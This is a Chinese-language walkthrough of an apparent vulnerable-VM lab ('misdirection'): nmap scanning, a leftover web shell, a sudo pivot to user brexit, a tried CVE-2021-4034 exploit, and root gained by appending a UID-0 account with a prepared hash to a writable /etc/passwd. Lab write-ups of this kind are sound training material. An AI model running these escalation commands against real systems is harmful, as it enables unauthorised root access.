端口扫描
nmap --min-rate 10000 -sn 192.168.30.0/24
nmap --min-rate 10000 -p- 192.168.30.141
nmap --min-rate 10000 -sT -sV -sC -O -p22,80,3306,8080,8081 -oA scan/detail 192.168.30.141
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.141
nmap --min-rate 10000 -script=vuln -p22,80,3306,8080 -oA scan/vuln 192.168.30.141
服务探测
80端口。是个webpy2框架写的http服务。但是登录注册功能都无效。应该是个静态页面。

看8080端口。

漏洞扫描结果中发现有wordpress服务。不过/wordpress和/wordpress/wp-login.php都因为数据库问题无法访问。
不过可以访问的目录有其他目录下没有价值内容。除了/dubug。


就是个webshell功能。
信息收集
可登录用户。

root和brexit。

这条 sudo -l 命令的输出表明,www-data 用户可以在 localhost 上以 brexit 用户的身份,执行 /bin/bash 命令,并且不需要输入密码。
sudo -u brexit /bin/bash
现在我们先拿到brexit用户。升级终端
python -c "import pty;pty.spawn('/bin/bash')"
#设置终端类型以支持 vim、less 等程序的正常显示。
export TERM=xterm

继续信息收集。这个还挺多,看到有pkexec,就试了试CVE-2021-4034那个,没成功。
find / -perm -u=s -type f 2>/dev/null
p0wny@shell:…/html/debug# find / -perm -u=s -type f 2>/dev/null
/snap/core/17247/bin/mount
/snap/core/17247/bin/ping
/snap/core/17247/bin/ping6
/snap/core/17247/bin/su
/snap/core/17247/bin/umount
/snap/core/17247/usr/bin/chfn
/snap/core/17247/usr/bin/chsh
/snap/core/17247/usr/bin/gpasswd
/snap/core/17247/usr/bin/newgrp
/snap/core/17247/usr/bin/passwd
/snap/core/17247/usr/bin/sudo
/snap/core/17247/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17247/usr/lib/openssh/ssh-keysign
/snap/core/17247/usr/lib/snapd/snap-confine
/snap/core/17247/usr/sbin/pppd
/bin/su
/bin/ping
/bin/mount
/bin/fusermount
/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/pkexec
先看看其他的。
看/html目录下。除了shell目录和wordpress目录,其他的都看了。而shell目录下也没有信息。
看wordpress内容。


有root.txt不过确实看不了内容。
.htaccess 文件,它是 Apache Web 服务器的一个配置文件,允许你在网站的特定目录下设置规则,而不需要修改主服务器配置。
WordPress 使用这个文件来管理其永久链接(Permalinks),也就是我们看到的简洁、友好的 URL 格式(例如 你的网站.com/关于我们),而不是 你的网站.com/?p=123 这样的 URL。
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wordpress/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]
</IfModule>
# END WordPress
.htaccess 文件内容详解
这段代码的核心功能就是,把所有不指向真实文件或目录的请求,都交给 index.php 来处理。
# BEGIN WordPress和# END WordPress: 这些是注释,标记了 WordPress 规则的开始和结束。WordPress 在管理后台中修改永久链接时,会自动更新这些行之间的内容。<IfModule mod_rewrite.c>: 这是一个条件语句。它确保只有当 Apache 服务器加载了mod_rewrite模块(URL 重写模块)时,内部的规则才会被执行。这是一个很好的编程习惯,可以避免在服务器不支持该模块时出错。RewriteEngine On: 开启 URL 重写引擎。这是后面所有重写规则生效的前提。RewriteBase /wordpress/: 设置 URL 重写的基础目录。这意味着接下来的所有规则都将从/wordpress/这个子目录开始计算。RewriteRule ^index\.php$ - [L]: 这是一个非常重要的规则,用来防止无限循环。它的作用是:如果请求的 URL 正好是index.php,那么就停止执行任何其他重写规则。RewriteCond %{REQUEST_FILENAME} !-f: 这是一个条件。RewriteCond总是应用于紧随其后的RewriteRule。 这条规则检查请求的文件名是否不是一个真实的文件。如果请求的URL对应的文件在服务器上不存在,则此条件为真。RewriteCond %{REQUEST_FILENAME} !-d: 这是另一个条件。它检查请求的文件名是否不是一个真实的目录。如果请求的URL对应的目录在服务器上不存在,则此条件为真。RewriteRule . /wordpress/index.php [L]: 这是核心重写规则。\.:匹配所有字符。- 这条规则的作用是:如果前面的两个条件都为真(即请求的 URL 既不是真实文件,也不是真实目录),那么就把这个请求内部重定向到
/wordpress/index.php。 [L]:表示这是最后一个规则,如果匹配成功,就停止处理。

index.php
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
WordPress 的核心入口点,唯一作用是加载 wp-blog-header.php。
wp-blog-header.php
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once( dirname( __FILE__ ) . '/wp-load.php' );
// Set up the WordPress query.
wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
require_once( dirname( __FILE__ ) . '/wp-load.php' );: 加载最重要的核心文件。这个文件负责加载所有的 WordPress 核心库、连接数据库、并加载插件和主题的功能。
wp-load.php 是 WordPress 漏洞利用中一个非常关键的文件。
- 它的作用:
wp-load.php负责初始化整个 WordPress 环境,包括数据库连接、插件和主题的加载。如果你能找到一个文件包含漏洞(LFI),并让它包含wp-load.php,你就能利用 WordPress 的内部函数,而不是从头开始。 - 典型的文件包含漏洞:如果你能找到一个像
load.php?file=...这样的文件包含点,你可以尝试让它包含wp-load.php,然后利用 WordPress 的功能来执行命令或获取敏感信息。

发现一个wp-comments-post.php。像是内容提交,极有可能有命令注入。
提权
转换思路。

也是polkit的。
还是尝试CVE-2021-4034。这次是其他的。
https://github.com/berdav/CVE-2021-4034
git clone https://github.com/berdav/CVE-2021-4034

make需要root权限安装,那就现在kali编译然后传入目标。

提升这种版本问题就需要静态编译了。
不过这里涉及多个。
切换思路
用户家目录下。.viminfo中记录了用户写入了哪些文件。

查一下可写文件。
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
果然

最后一个就是/etc/passwd,居然有写入权限。
/etc/passwd提权
看一下/etc/passwd里的格式。

示例
root:x:0:0:root:/root:/bin/bash
root是用户名。x表示密码已被加密存储在/etc/shadow文件中。0是用户ID(UID)。0是组ID(GID)。root是用户描述。/root是家目录。/bin/bash是默认Shell。
我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是woleyi,密码设置为woleyi,用openssl生成对应的hash如下:
openssl passwd -1 woleyi >woleyi.hash
$1$R8n7fjKI$ZBEp65e18cOd2ct7quYSK.
整理格式
woleyi:$1$R8n7fjKI$ZBEp65e18cOd2ct7quYSK.:0:0:woleyi passwd:/woleyi:/bin/bash
echo 'woleyi:$1$R8n7fjKI$ZBEp65e18cOd2ct7quYSK.:0:0:woleyi passwd:/woleyi:/bin/bash'>>/etc/passwd
cat /etc/passwd

写入成功。登录账号。
Password:brexit@misdirection:~$ su woleyi
su woleyi
Password: woleyi

成功。

Over!